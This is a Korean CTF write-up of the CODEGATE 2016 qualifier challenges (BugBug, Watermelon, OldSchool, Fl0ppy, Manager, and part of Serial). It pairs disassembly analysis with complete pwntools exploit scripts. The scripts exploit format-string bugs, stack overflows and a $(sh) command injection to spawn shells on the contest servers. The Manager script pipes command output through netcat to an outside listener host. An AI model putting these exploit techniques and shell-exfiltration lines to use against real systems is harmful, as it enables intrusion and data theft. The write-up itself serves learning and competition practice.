codegate 2016 prequels writeup

지난 주말 진행됐던 코드게이트 2016 예선전 문제 풀이입니다. 올해 대회는 블랙펄에서 문제 출제를 맡아 주었습니다.

함께 공부하는 태윤이(cdpython)가 문제 출제 때문에 죽겠다는 얘기를 자주 했는데요… 덕분인지 재밌는 대회가 된 것 같습니다.

  1. BugBug
  2. Watermelon
  3. OldSchool
  4. Fl0ppy
  5. Manager
  6. Serial
  7. cemu

문제 파일 다운로드

BugBug

Who are you? hdarwin

Hello~ hdarwin


==============================
> Let's play the lotto game! <
==============================
Input your answer@_@
==> 1 2 3 4 5 6

You lose!!

바이너리를 실행하면 사용자에게 이름과 숫자를 두 번 나누어 입력받습니다.

/*
buffer= dword ptr -0A4h
numbers= dword ptr -8Ch
name= byte ptr -74h
seed= dword ptr -10h
stream= dword ptr -0Ch
*/

setvbuf(stdout, 0, 2, 0);
stream = fopen("/dev/urandom", "rb");
fread(&seed, 4u, 1u, stream);
fclose(stream);
srand(seed);
printf("\nWho are you? ");
read(0, &name, 0x64u);
printf("\nHello~ %s\n", &name);
for ( i = 0; i <= 5; ++i )
{
duplication:
	num = rand() % 45 + 1;
	for ( i2 = 0; i - 1 >= i2; ++i2 )
	{
		if ( numbers[i2] == num )
			goto duplication;
	}
	numbers[i] = num;
}
recv((int)buffer);
result = check((int)buffer, (int)numbers);
if ( result )
{
	printf("Congratulation, ");
	printf(&name);
	puts("You Win!!\n");
	exit(0);
}
return result;

헥스 레이 결과에서 사용자가 입력한 6자리 숫자가 rand 함수로 생성한 숫자들과 비교됩니다.

숫자가 일치할 경우 사용자 이름을 printf 함수로 출력하면서 포맷 스트링 버그가 발생합니다.

rand 함수의 결과를 알아내려면 시드 값을 알아야 하는데 서버의 의사 난수 생성기로 만든 4바이트가 시드가 되기 때문에 원격에서 알아낼 방법이 없습니다.

[        name(100)        ][  seed(4)  ]

하지만 위의 버퍼 구조상 사용자 이름으로 100바이트를 입력하면 환영 메시지에서 seed 변수의 랜덤 값을 유출할 수 있습니다.

6개 숫자를 입력받기 전 환영 메시지에서 시드 값을 먼저 확인할 수 있기 때문에 같은 시드 값을 이용해 rand 함수의 출력을 예측하고 알맞은 6개 숫자를 생성할 수 있습니다.

.text:08048953 sub     esp, 0Ch
.text:08048956 push    offset aCongratulation ; "Congratulation, "
.text:0804895B call    _printf
.text:08048960 add     esp, 10h
.text:08048963 sub     esp, 0Ch
.text:08048966 lea     eax, [ebp+buf]
.text:08048969 push    eax             ; format
.text:0804896A call    _printf
.text:0804896F add     esp, 10h
.text:08048972 sub     esp, 0Ch
.text:08048975 push    offset aYouWin  ; "You Win!!\n"
.text:0804897A call    _puts
.text:0804897F add     esp, 10h
.text:08048982 sub     esp, 0Ch
.text:08048985 push    0               ; status
.text:08048987 call    _exit

포맷 스트링 버그가 발생한 이후 exit 함수가 호출되기 때문에 exit 함수의 plt 엔트리를 변경해서 프로그램 본문으로 다시 돌아갈 수 있습니다.

첫 번째 페이로드에서 exit 함수의 got를 덮어쓰면서 서버의 라이브러리를 알아낼 근거로 main 함수의 복귀 주소를 유출합니다.

두 번째 페이로드에서는 printf@got.plt = system, exit@got.plt = 0x08048966 가 되도록 합니다. 0x08048966 위치에서 사용자 입력 값이 저장된 버퍼 주소를 argv[0]으로 printf 함수를 호출하기 때문에 쉽게 시스템 함수의 인자를 입력할 수 있습니다.

#!/usr/bin/python -u
from pwn import *
from ctypes import cdll
libc = cdll.LoadLibrary("libc.so.6")

p1 = "\x24\xa0\x04\x08\x26\xa0\x04\x08"
p1 += "%34891c%17$hn"
p1 += "%32689c%18$hn"
p1 += "\n%47$x\nend"
p2 = "\x24\xa0\x04\x08\x26\xa0\x04\x08"
p2 += "\x10\xa0\x04\x08\x12\xa0\x04\x08"
p2 += "%35158c%21$hn"
p2 += "%32414c%22$hn"
p2 += "%v1c%23$hn"
p2 += "%v2c%24$hn"
p2 += ";/bin/sh\x00"

c = remote("175.119.158.135", 8909)
c.recvuntil("\nWho are you? ")
c.sendline(p1 + " "*(100-len(p1)))
c.recvuntil("\nHello~ ")
c.recvn(100)
libc.srand(u32(c.recvn(4)))
num1 = []
num2 = []
while len(num1) != 6:
	num = libc.rand() % 45 + 1
	if num not in num1:num1.append(num)
while len(num2) != 6:
	num = libc.rand() % 45 + 1
	if num not in num2:num2.append(num)
c.sendline("{} {} {} {} {} {}".format(*num1))
d = c.recvuntil("end").split("\n")
system = u32(d[-2].decode("hex"), endian="be") + 141890
systeml = system & 0xffff
systemh = system >> 16 & 0xffff
p2 = p2.replace("v1", str(systeml - 0x0804))
p2 = p2.replace("v2", str(0x10000 - systeml + systemh))
c.sendline(p2)
c.recvuntil("==> ")
c.sendline("{} {} {} {} {} {}".format(*num2))
c.interactive()
c.close()

서버의 라이브러리를 알아내는 도구로 https://github.com/niklasb/libc-database을 이용했습니다.

root@ubuntu:~/libc-database# ./find printf 150
ubuntu-wily-i386-libc6 (id libc6_2.21-0ubuntu4.1_i386)
root@ubuntu:~/libc-database# ./find __libc_start_main_ret 73e
ubuntu-wily-i386-libc6 (id libc6_2.21-0ubuntu4.1_i386)
root@ubuntu:~/libc-database# ./dump libc6_2.21-0ubuntu4.1_i386 system str_bin_sh
offset_system = 0x0003b180
offset_str_bin_sh = 0x15f61b

Watermelon

Input your name : 
hdarwin
		WELCOME hdarwin





-----------------------------------------------------
			WaterMelon
-----------------------------------------------------
		1. Add playlist
		2. View playlist
		3. Modify playlist
		4. Exit
-----------------------------------------------------
	select	|

Melon을 컨셉으로 만든 것으로 보이는 음악 재생 목록 관리 기능의 프로그램입니다.

...
.text:080494AD lea     ebx, [esp+1Ch]
.text:080494B1 mov     eax, 0
.text:080494B6 mov     edx, 1100
.text:080494BB mov     edi, ebx
.text:080494BD mov     ecx, edx
.text:080494BF rep stosd
...
.text:080495CD cmp     eax, 100
.text:080495D0 jnz     short loc_80495E3
.text:080495D2 mov     dword ptr [esp], offset aFullYouCanOnly ; "Full!! You can only modify playlist.\n"
.text:080495D9 call    _puts
...
.text:08049630 mov     eax, ds:cnt
.text:08049635 imul    edx, eax, 44
.text:08049638 mov     eax, [ebp+pBuffer]
.text:0804963B add     eax, edx
.text:0804963D add     eax, 4
.text:08049640 mov     dword ptr [esp+8], 21 ; nbytes
.text:08049648 mov     [esp+4], eax    ; buf
.text:0804964C mov     dword ptr [esp], 0 ; fd
.text:08049653 call    _read
...
.text:08049680 mov     eax, ds:stdout
.text:08049685 mov     [esp], eax      ; stream
.text:08049688 call    _fflush
.text:0804968D mov     eax, ds:cnt
.text:08049692 imul    edx, eax, 2Ch
.text:08049695 mov     eax, [ebp+pBuffer]
.text:08049698 add     eax, edx
.text:0804969A add     eax, 18h
.text:0804969D mov     dword ptr [esp+8], 21 ; nbytes
.text:080496A5 mov     [esp+4], eax    ; buf
.text:080496A9 mov     dword ptr [esp], 0 ; fd
.text:080496B0 call    _read
...
.text:080496C1 mov     eax, ds:cnt
.text:080496C6 imul    edx, eax, 2Ch
.text:080496C9 mov     eax, [ebp+pBuffer]
.text:080496CC add     eax, edx
.text:080496CE mov     edx, ds:cnt
.text:080496D4 add     edx, 1
.text:080496D7 mov     [eax], edx
.text:080496D9 mov     eax, ds:cnt
.text:080496DE add     eax, 1
.text:080496E1 mov     ds:cnt, eax

위는 main 함수와 재생 목록을 추가하는 함수의 코드의 내용으로 main 함수에서 4400 크기의 지역 버퍼를 0으로 초기화하고 리스트를 추가하는 함수에 전달합니다.

리스트가 추가되는 함수의 코드를 보아 재생 목록 데이터가 아래의 구조로 생긴 것을 알 수 있습니다.

[  index(4)  ][      music(20)      ][      artist(20)      ](44) * 100

.text:08049A17 mov     eax, [ebp+sel]
.text:08049A1D imul    eax, 44
.text:08049A20 lea     edx, [eax-44]
.text:08049A23 mov     eax, [ebp+pBuffer]
.text:08049A29 add     eax, edx
.text:08049A2B add     eax, 18h
.text:08049A2E mov     dword ptr [esp+8], 200 ; nbytes
.text:08049A36 mov     [esp+4], eax    ; buf
.text:08049A3A mov     dword ptr [esp], 0 ; fd
.text:08049A41 call    _read

위는 재생 목록을 수정하는 함수의 코드입니다. 아티스트 이름을 입력받을 때 버퍼 크기 20바이트를 넘는 200바이트 사용자 입력받습니다.

재생 목록 정보가 main 함수 스택 프레임내에 존재하기 때문에 스택 기반 버퍼 오버플로우 취약점이 발생합니다.

익스플로잇을 위해서는 스택 쿠키와 main 함수의 복귀 주소를 유출한 뒤 main 함수의 복귀 주소를 /bin/sh 문자열을 인자로 하는 system 함수로 변경하면 됩니다.

#!/usr/bin/python -u
from pwn import *
payload = "/bin/sh"
c = remote("175.119.158.133", 9091)
c.recvuntil("name : \n")
c.sendline("hdarwin")
c.recvuntil("select\t|\t\n")

# fill dummy
for x in xrange(1,101):
	c.sendline("1")
	c.recvuntil("\tmusic\t|\t")
	c.sendline(str(x))
	c.recvuntil("artist\t|\t")
	c.sendline(str(x))
	c.recvuntil("select\t|\t\n")

# leak cookie
c.sendline("3")
c.recvuntil("select number\t|\t\n")
c.sendline("100")
c.recvuntil("\tmusic\t|\t")
c.sendline("100")
c.recvuntil("artist\t|\t")
c.sendline("A"*20)
c.recvuntil("select\t|\t\n")
c.sendline("2")
c.recvuntil("A"*20)
cookie = "\x00" + c.recvn(4)[1:]

# leak __libc_start_main_ret
c.sendline("3")
c.recvuntil("select number\t|\t\n")
c.sendline("100")
c.recvuntil("\tmusic\t|\t")
c.sendline("100")
c.recvuntil("artist\t|\t")
c.sendline("Z"*35)
c.recvuntil("select\t|\t\n")
c.sendline("2")
c.recvuntil("Z"*35 + "\n")
leak = c.recvn(4)
system = u32(leak) + 141890
binsh = system + 1197211

# let's go
c.sendline("3")
c.recvuntil("select number\t|\t\n")
c.sendline("100")
c.recvuntil("\tmusic\t|\t")
c.sendline("100")
c.recvuntil("artist\t|\t")
c.sendline("Z"*20 + cookie + "AAAABBBBCCCC%sCCCC%s" % (p32(system), p32(binsh)))
c.recvuntil("select\t|\t\n")
c.sendline("4")
c.interactive()
c.close()

OldSchool

/* 

$ gcc -v
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/4.9/lto-wrapper
Target: x86_64-linux-gnu
Configured with: ../src/configure -v --with-pkgversion='Debian 4.9.2-10' --with-bugurl=file:///usr/share/doc/gcc-4.9/README.Bugs --enable-languages=c,c++,java,go,d,fortran,objc,obj-c++ --prefix=/usr --program-suffix=-4.9 --enable-shared --enable-linker-build-id --libexecdir=/usr/lib --without-included-gettext --enable-threads=posix --with-gxx-include-dir=/usr/include/c++/4.9 --libdir=/usr/lib --enable-nls --with-sysroot=/ --enable-clocale=gnu --enable-libstdcxx-debug --enable-libstdcxx-time=yes --enable-gnu-unique-object --disable-vtable-verify --enable-plugin --with-system-zlib --disable-browser-plugin --enable-java-awt=gtk --enable-gtk-cairo --with-java-home=/usr/lib/jvm/java-1.5.0-gcj-4.9-amd64/jre --enable-java-home --with-jvm-root-dir=/usr/lib/jvm/java-1.5.0-gcj-4.9-amd64 --with-jvm-jar-dir=/usr/lib/jvm-exports/java-1.5.0-gcj-4.9-amd64 --with-arch-directory=amd64 --with-ecj-jar=/usr/share/java/eclipse-ecj.jar --enable-objc-gc --enable-multiarch --with-arch-32=i586 --with-abi=m64 --with-multilib-list=m32,m64,mx32 --enable-multilib --with-tune=generic --enable-checking=release --build=x86_64-linux-gnu --host=x86_64-linux-gnu --target=x86_64-linux-gnu
Thread model: posix
gcc version 4.9.2 (Debian 4.9.2-10) 

$ gcc -o oldschool oldschool.c -m32 -fstack-protector


*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main( )
{
	char buf[1024] = { 0, };

	printf( "YOUR INPUT :" );

	fgets( buf, 1020, stdin );

	printf( "RESPONSE :" );
	
	printf( buf );

	return 0;
}

소스 코드, libc 라이브러리, 동적 링커가 제공된 문제입니다.

입력받은 사용자 데이터를 그대로 printf 함수에 전달하는 포맷 스트링 버그 문제입니다.

포맷 스트링 버그는 메모리 읽기/쓰기가 모두 가능하기 때문에 익스플로잇하기 쉬운 유형의 취약점이지만 문제는 버그를 이용해 메모리 유출하고 다시 한번 버그를 트리거 할 방법이 필요하다는 것입니다.

root@ubuntu:~/OldSchool# readelf -s /bin/dash | grep __do_global_dtors_aux
root@ubuntu:~/OldSchool# readelf -s /bin/ls | grep __do_global_dtors_aux
root@ubuntu:~/OldSchool# readelf -s old | grep __do_global_dtors_aux
    31: 08048450     0 FUNC    LOCAL  DEFAULT   13 __do_global_dtors_aux

우분투 디폴트 바이너리와 비교했을 때 문제 바이너리의 심볼 테이블에는 추가로 __do_global_dtors_aux 함수가 존재합니다.

자세한 원리는 잘 모르지만 _fini_array 섹션에 해당 함수의 주소가 저장되어 있고 main 함수가 종료된 후 동적 링커가 해당 함수를 실행해 줍니다.

포맷 스트링 버그를 이용해 _fini_array의 __do_global_dtors_aux 함수 주소를 변경해서 여러 번 포맷 스트링 버그를 트리거하고 프로그램 흐름을 원하는 데로 변경할 수 있습니다.

#!/usr/bin/python -u
from pwn import *
c = remote("175.119.158.131", 17171)

# overwrite destructor & leak
p = "\xdc\x96\x04\x08\xde\x96\x04\x08"
p += "leak:%271$08x"
p += "stack:%273$08xEND"
p += "%33909c%7$hn"
p += "%33641c%8$hnEND"
c.sendline(p)

r = c.recvuntil("END")
leak = r.find("leak:")+5
stack = r.find("stack:")+6
leak = u32(unhex(r[leak:leak+8]), endian="be")
system = leak + 141890
systeml = system & 0xffff
systemh = system >> 16 & 0xffff
binsh = leak + 1339101
binshl = binsh & 0xffff
binshh = binsh >> 16 & 0xffff
stack = u32(unhex(r[stack:stack+8]), endian="be")

p2 = "\xe4\x97\x04\x08\xe6\x97\x04\x08"
p2 += p32(stack - 1444) + p32(stack - 1442)
p2 += p32(stack - 408)
p2 += "%v1c%7$hn"
p2 += "%v2c%8$hn"
p2 += "%v3c%9$hn"
p2 += "%v4c%10$hn"
p2 += "%11$n"
p2 = p2.replace("v1", str(systeml-0x14))
p2 = p2.replace("v2", str(0x10000 - systeml + systemh))
p2 = p2.replace("v3", str(0x10000 - systemh + binshl))
p2 = p2.replace("v4", str(0x10000 - binshl + binshh))
c.sendline(p2)

c.interactive()
c.close()
root@ubuntu:~/OldSchool# cat check.c
void main (void) __attribute__((constructor));
void main (void) __attribute__((destructor));
void main(){}
root@ubuntu:~/OldSchool# gcc -o check check.c
root@ubuntu:~/OldSchool# cat check2.c
void main(){}
root@ubuntu:~/OldSchool# gcc -o check2 check2.c
root@ubuntu:~/OldSchool# readelf -s check | grep __do_global_dtors_aux
    31: 080483a0     0 FUNC    LOCAL  DEFAULT   13 __do_global_dtors_aux
    33: 08049f08     0 OBJECT  LOCAL  DEFAULT   19 __do_global_dtors_aux_fin
root@ubuntu:~/OldSchool# readelf -s check2 | grep __do_global_dtors_aux
    31: 080483a0     0 FUNC    LOCAL  DEFAULT   13 __do_global_dtors_aux
    33: 08049f0c     0 OBJECT  LOCAL  DEFAULT   19 __do_global_dtors_aux_fin

C언어에서 생성자/소멸자 사용 방법을 검색해서 테스트한 결과 별도의 컴파일러 버전이나 옵션이 있어야 __do_global_dtors_aux 함수가 없어지는 것 같습니다.
Fl0ppy

===========================================================================

1. Choose floppy

2. Write

3. Read

4. Modify

5. Exit

>

가상 플로피 디스크에 데이터 읽기/쓰기/수정 기능을 제공하는 프로그램입니다.

...
.text:00000CA3 add     esp, 10h
.text:00000CA6 sub     esp, 0Ch
.text:00000CA9 push    200h            ; size
.text:00000CAE call    malloc
.text:00000CB3 add     esp, 10h
.text:00000CB6 mov     edx, eax
.text:00000CB8 mov     eax, [ebp+pFloppy]
.text:00000CBB mov     [eax+4], edx
...
.text:00000CD7 mov     eax, [ebp+pFloppy]
.text:00000CDA mov     eax, [eax+4]
.text:00000CDD sub     esp, 4
.text:00000CE0 push    200h            ; nbytes
.text:00000CE5 push    eax             ; buf
.text:00000CE6 push    0               ; fd
.text:00000CE8 call    read
.text:00000CED add     esp, 10h
.text:00000CF0 mov     eax, [ebp+pFloppy]
.text:00000CF3 mov     eax, [eax+4]
.text:00000CF6 sub     esp, 0Ch
.text:00000CF9 push    eax             ; s
.text:00000CFA call    strlen
.text:00000CFF add     esp, 10h
.text:00000D02 mov     edx, eax
.text:00000D04 mov     eax, [ebp+pFloppy]
.text:00000D07 mov     [eax+20], edx
...
.text:00000D1A mov     eax, [ebp+pFloppy]
.text:00000D1D add     eax, 8
.text:00000D20 sub     esp, 4
.text:00000D23 push    10              ; nbytes
.text:00000D25 push    eax             ; buf
.text:00000D26 push    0               ; fd
.text:00000D28 call    read

플로피 디스크는 2개가 제공되고 main 함수 프레임 내 지역 버퍼에 위치합니다.

디스크에 데이터를 쓰는 함수의 코드입니다. 코드 분석 결과 플로피 디스크 데이터는 아래 구조인 것을 알 수 있습니다.

[    flag(4)    ][    pData(4)    ][          desc(10)          ][    padding(2)    ][        dSize(4)        ](24)

위의 구조를 갖는 플로피 디스크가 2개이고 2번 플로피가 스택에서 더 낮은 주소에 위치합니다.

.text:00000E76 sub     esp, 0Ch
.text:00000E79 push    offset aInputDescripti ; "Input Description: \n"
.text:00000E7E call    puts
.text:00000E83 add     esp, 10h
.text:00000E86 sub     esp, 4
.text:00000E89 push    37              ; nbytes
.text:00000E8B lea     eax, [ebp+s]
.text:00000E91 push    eax             ; buf
.text:00000E92 push    0               ; fd
.text:00000E94 call    read
...
.text:00000EB9 mov     eax, [ebp+pFloppy]
.text:00000EBC lea     edx, [eax+8]
.text:00000EBF sub     esp, 4
.text:00000EC2 push    ecx             ; n
.text:00000EC3 lea     eax, [ebp+s]
.text:00000EC9 push    eax             ; src
.text:00000ECA push    edx             ; dest
.text:00000ECB call    strncpy

디스크에 데이터를 변경하는 함수의 코드입니다. 0x00000E94 주소의 read 함수가 디스크의 설명문을 새로 입력받는데 입력 크기가 37 바이트로 버퍼 크기를 넘습니다.

메모리 구조상 플로피 2번의 설명문을 수정해서 플로피 1번의 pData 포인터를 덮어쓸 수 있습니다. 이후 플로피 1번에서 데이터를 읽기/쓰기 하는 기능으로 원하는 위치의 메모리를 읽거나 쓸 수 있습니다.

스택은 랜덤하게 배치되더라도 프로그램 흐름이 의존하는 프레임 내 데이터들은 상대 주소에 위치하기 때문에 이를 이용해 실행 흐름을 변경하고 system 함수를 호출하는 방식으로 익스플로잇을 작성할 수 있습니다.

#!/usr/bin/python -u
from pwn import *
c = remote("175.119.158.134", 5559)

# make floppy1
c.recvuntil(">\n")
c.sendline("1")
c.recvuntil("\n\n")
c.sendline("1")
c.recvuntil(">\n")
c.sendline("2")
c.recvuntil("\n\n")
c.sendline("1")
c.recvuntil("\n\n")
c.sendline("1")
c.recvuntil(">\n")

# leak stack
c.sendline("4")
c.recvuntil("\n\n")
c.sendline("1")
c.recvuntil("\n\n")
c.sendline("A"*16)
c.recvuntil(">\n")
c.sendline("3")
c.recvuntil("DESCRIPTION: " + "A"*16)
stack = u32(c.recvn(4))
c.recvuntil(">\n")

# leak __libc_start_main_ret
c.sendline("4")
c.recvuntil("\n\n")
c.sendline("1")
c.recvuntil("\n\n")
c.sendline("A"*32)
c.recvuntil(">\n")
c.sendline("1")
c.recvuntil("\n\n")
c.sendline("1")
c.recvuntil(">\n")
c.sendline("3")
c.recvuntil("DESCRIPTION: ")
c.recvn(32)
leak = u32(c.recvn(4))
system = leak + 141890
binsh = system + 1197211
c.recvuntil(">\n")

# make floppy2
c.sendline("1")
c.recvuntil("\n\n")
c.sendline("2")
c.recvuntil(">\n")
c.sendline("2")
c.recvuntil("\n\n")
c.sendline("1")
c.recvuntil("\n\n")
c.sendline("1")
c.recvuntil(">\n")

# pointer overwrite
c.sendline("4")
c.recvuntil("\n\n")
c.sendline("1")
c.recvuntil("\n\n")
c.sendline("A"*20 + p32(stack-56))
c.recvuntil(">\n")

# change floppy
c.sendline("1")
c.recvuntil("\n\n")
c.sendline("1")
c.recvuntil(">\n")

# ret overwrite
c.sendline("4")
c.recvuntil("\n\n")
c.sendline("2")
c.recvuntil("\n\n")
c.sendline(p32(system) + "AAAA" + p32(binsh))
c.interactive()
c.close()

Manager

	Simple Manager Console Service
Are You want join? [Y/N] y
join
id> hdarwin
pw> 1234
pw retype> 1234
join finished!
Your privileges is guest
1. manager shell
2. insert user info
3. modify user info
4. show user info
5. exit
choice> help
==== manage shell ====
if you need help? just type help
shell> ps        : show process lists
who       : show user
help      : show help
ping      : ping
if        : show ifconfig
logout    : go to login menu
exit      : exit this program
==== manage shell ====
if you need help? just type help
shell> 

원격 서버에서 몇 가지 기능을 제공받는 쉘 프로그램입니다.

popen 함수를 이용해 입력된 명령어를 서버에서 실행하고 결과를 출력해 줍니다.

.text:0000000000400FA0 var_4A8= qword ptr -4A8h
.text:0000000000400FA0 stream= qword ptr -498h
.text:0000000000400FA0 input= byte ptr -490h
.text:0000000000400FA0 cmd= byte ptr -480h
.text:0000000000400FA0 space= qword ptr -478h
.text:0000000000400FA0 options= byte ptr -470h
.text:0000000000400FA0 anonymous_0= dword ptr -420h
.text:0000000000400FA0 var_410= byte ptr -410h
.text:0000000000400FA0 var_8= qword ptr -8
.text:0000000000400FA0 arg_0= qword ptr  10h
.text:0000000000400FA0 arg_8= qword ptr  18h
.text:0000000000400FA0 arg_10= qword ptr  20h
.text:0000000000400FA0 arg_18= qword ptr  28h
.text:0000000000400FA0 arg_20= qword ptr  30h
.text:0000000000400FA0 arg_28= qword ptr  38h
.text:0000000000400FA0 arg_30= qword ptr  40h
.text:0000000000400FA0 arg_38= qword ptr  48h
.text:0000000000400FA0 arg_40= qword ptr  50h
.text:0000000000400FA0 arg_48= qword ptr  58h
.text:0000000000400FA0 arg_50= qword ptr  60h
.text:0000000000400FA0 arg_58= qword ptr  68h
.text:0000000000400FA0 arg_60= dword ptr  70h
.text:0000000000400FA0
.text:0000000000400FA0 push    rbp
.text:0000000000400FA1 mov     rbp, rsp
.text:0000000000400FA4 sub     rsp, 4B0h
.text:0000000000400FAB mov     [rbp+var_4A8], rdi
.text:0000000000400FB2 mov     rax, fs:28h
.text:0000000000400FBB mov     [rbp+var_8], rax
.text:0000000000400FBF xor     eax, eax
.text:0000000000400FC1 mov     rax, 'gifnocfi'
.text:0000000000400FCB mov     qword ptr [rbp+cmd], rax
.text:0000000000400FD2 mov     [rbp+space], 20h
.text:0000000000400FDD lea     rdx, [rbp+options]
.text:0000000000400FE4 mov     eax, 0
.text:0000000000400FE9 mov     ecx, 10
.text:0000000000400FEE mov     rdi, rdx
.text:0000000000400FF1 rep     stosq
.text:0000000000400FF4 mov     rdx, rdi
.text:0000000000400FF7 mov     [rdx], eax
.text:0000000000400FF9 add     rdx, 4
.text:0000000000400FFD mov     edi, offset aIfconfig ; "ifconfig> "
.text:0000000000401002 mov     eax, 0
.text:0000000000401007 call    _printf
.text:000000000040100C mov     rdx, cs:stdin   ; stream
.text:0000000000401013 lea     rax, [rbp+input]
.text:000000000040101A mov     esi, 50         ; n
.text:000000000040101F mov     rdi, rax        ; s
.text:0000000000401022 call    _fgets
.text:0000000000401027 lea     rax, [rbp+input]
.text:000000000040102E mov     rdi, rax
.text:0000000000401031 mov     eax, 0
.text:0000000000401036 call    whitelist
.text:000000000040103B test    eax, eax
.text:000000000040103D jz      short loc_401049
.text:0000000000401049 loc_401049:
.text:0000000000401049 lea     rdx, [rbp+input]
.text:0000000000401050 lea     rax, [rbp+cmd]
.text:0000000000401057 mov     rsi, rdx        ; src
.text:000000000040105A mov     rdi, rax        ; dest
.text:000000000040105D call    _strcat
.text:0000000000401062 lea     rax, [rbp+cmd]
.text:0000000000401069 mov     esi, offset modes ; "r"
.text:000000000040106E mov     rdi, rax        ; command
.text:0000000000401071 call    _popen

manager shell 기능에서 if 명령을 구현한 함수의 코드입니다. 서버에서 popen 함수로 ifconfig 프로그램을 실행하도록 구현되어 있습니다.

0x401022 위치에서 fgets 함수로 사용자 입력을 50바이트 받고 입력 버퍼는 해당 함수의 지역 버퍼입니다. 하드코딩된 문자열 “ifconfig”에 사용자 입력 값을 strcat 함수로 연결해서 명령을 완성합니다.

하지만 fgets 함수에서 오버플로우가 발생해 popen에 전달될 문자열을 사용자 임의로 변경할 수 있습니다. 사용자 입력 값은 0x401534 함수에 전달되어 화이트 리스트를 기반으로 커맨드 인젝션 공격 여부를 확인합니다.

__int64 __fastcall whitelist(const char *input)
{
  unsigned int r; // [rsp+1Ch] [rbp-4h]@1

  r = 0;
  if ( strchr(input, ';') )
    r = 1;
  if ( strchr(input, '\'') )
    r = 1;
  if ( strchr(input, ' ') )
    r = 1;
  if ( strchr(input, '&') )
    r = 1;
  if ( strchr(input, '`') )
    r = 1;
  if ( strchr(input, '<') )
    r = 1;
  if ( strchr(input, '|') )
    r = 1;
  if ( strchr(input, '>') )
    r = 1;
  if ( strchr(input, '/') )
    r = 1;
  return r;
}

유용하게 사용할 수 있는 대부분의 문자가 리스트에 등록되어 있지만 “$”, “(“, “)” 문자들이 빠져있습니다. $(cmd) 형식으로 커맨드를 삽입할 수 있는 커맨드 인젝션 취약점입니다.

popen으로 생성한 프로세스의 출력을 별도로 읽어줘야 하기 때문에 명령의 결과를 확인할 수 없지만 쉘 프로그램을 생성하고 커맨드의 결과를 별도 소켓으로 받는 방식으로 익스플로잇할 수 있습니다.

#!/usr/bin/python -u
from pwn import *
from socket import *
from threading import Thread
def recv():
	s = socket()
	s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
	s.bind(("", 3232))
	s.listen(1)
	c,a = s.accept()
	print c.recv(4096)
	s.close()
	Thread(target=recv).start()
c = remote("175.119.158.132", 22222)
c.recvuntil("[Y/N] ")
c.sendline("y")
c.recvuntil("> ")
c.sendline("hdarwin")
c.recvuntil("> ")
c.sendline("1234")
c.recvuntil("> ")
c.sendline("1234")
c.recvuntil("> ")
c.sendline("1")
c.recvuntil("> ")
c.sendline("if")
c.recvuntil("> ")
c.sendline("$(sh)")
Thread(target=recv).start()
while True:c.sendline(raw_input("# ").strip() + " | nc hacklab.kr 3232")
c.close()

Serial

input product key: 1234
number only

실행하면 제품 키를 입력하라고 합니다. 입력과 제품 키가 다르면 추가적인 기능이 제공되지 않습니다.

.text:0000000000400E93 var_3C= dword ptr -3Ch
.text:0000000000400E93 pBuffer= qword ptr -38h
.text:0000000000400E93 c= word ptr -30h
.text:0000000000400E93 key= qword ptr -20h
.text:0000000000400E93 var_18= qword ptr -18h
.text:0000000000400E93 cookie= qword 
...
.text:0000000000400F07 mov     edi, offset aInputProductKe ; "input product key: "
.text:0000000000400F0C mov     eax, 0
.text:0000000000400F11 call    _printf
.text:0000000000400F16 lea     rax, [rbp+key]
.text:0000000000400F1A mov     rdi, rax
.text:0000000000400F1D call    recv_input (0x400936)
.text:0000000000400F22 lea     rax, [rbp+key]
.text:0000000000400F26 mov     rdi, rax
.text:0000000000400F29 call    check_key (0x400CBB)

main 함수 실행 직후 사용자에게 제품 키를 요구하는 코드입니다. 사용자 입력을 받는 0x400936(recv_input) 함수에서 32바이트 입력을 받아 main 함수 지역 버퍼에 스택 기반 버퍼오버플로우가 존재하지만 스택 쿠키까지만 덮을 수 있고 변조하여 유용하게 사용할 수 있는 데이터는 없습니다.

.text:0000000000400D99 movzx   eax, [rbp+var_22]
.text:0000000000400D9D shl     eax, 8
.text:0000000000400DA0 mov     edx, eax
.text:0000000000400DA2 movzx   eax, [rbp+var_22]
.text:0000000000400DA6 shr     ax, 8
.text:0000000000400DAA or      eax, edx
.text:0000000000400DAC mov     edx, eax
.text:0000000000400DAE movzx   eax, [rbp+var_28]
.text:0000000000400DB2 xor     ax, [rbp+var_26]
.text:0000000000400DB6 xor     ax, [rbp+var_24]
.text:0000000000400DBA add     eax, edx
.text:0000000000400DBC mov     edx, eax
.text:0000000000400DBE movzx   eax, [rbp+x]
.text:0000000000400DC2 xor     eax, edx
.text:0000000000400DC4 mov     [rbp+var_28], ax
.text:0000000000400DC8 movzx   eax, [rbp+var_26]
.text:0000000000400DCC shl     eax, 5
.text:0000000000400DCF mov     edx, eax
.text:0000000000400DD1 movzx   eax, [rbp+var_26]
.text:0000000000400DD5 shr     ax, 0Bh
.text:0000000000400DD9 or      eax, edx
.text:0000000000400DDB mov     edx, eax
.text:0000000000400DDD movzx   eax, [rbp+var_26]
.text:0000000000400DE1 xor     ax, [rbp+var_28]
.text:0000000000400DE5 xor     ax, [rbp+var_22]
.text:0000000000400DE9 add     eax, edx
.text:0000000000400DEB mov     edx, eax
.text:0000000000400DED movzx   eax, [rbp+y]
.text:0000000000400DF1 xor     eax, edx
.text:0000000000400DF3 mov     [rbp+var_26], ax
.text:0000000000400DF7 movzx   eax, [rbp+var_26]
.text:0000000000400DFB shl     eax, 3
.text:0000000000400DFE mov     edx, eax
.text:0000000000400E00 movzx   eax, [rbp+var_26]
.text:0000000000400E04 shr     ax, 0Dh
.text:0000000000400E08 or      eax, edx
.text:0000000000400E0A mov     edx, eax
.text:0000000000400E0C movzx   eax, [rbp+var_24]
.text:0000000000400E10 xor     ax, [rbp+var_26]
.text:0000000000400E14 xor     ax, [rbp+var_28]
.text:0000000000400E18 add     eax, edx
.text:0000000000400E1A mov     edx, eax
.text:0000000000400E1C movzx   eax, [rbp+z]
.text:0000000000400E20 xor     eax, edx
.text:0000000000400E22 mov     [rbp+var_24], ax
.text:0000000000400E26 mov     [rbp+var_18], 0
.text:0000000000400E2E movzx   eax, [rbp+var_28]
.text:0000000000400E32 or      [rbp+var_18], rax
.text:0000000000400E36 shl     [rbp+var_18], 10h
.text:0000000000400E3B movzx   eax, [rbp+var_26]
.text:0000000000400E3F or      [rbp+var_18], rax
.text:0000000000400E43 shl     [rbp+var_18], 10h
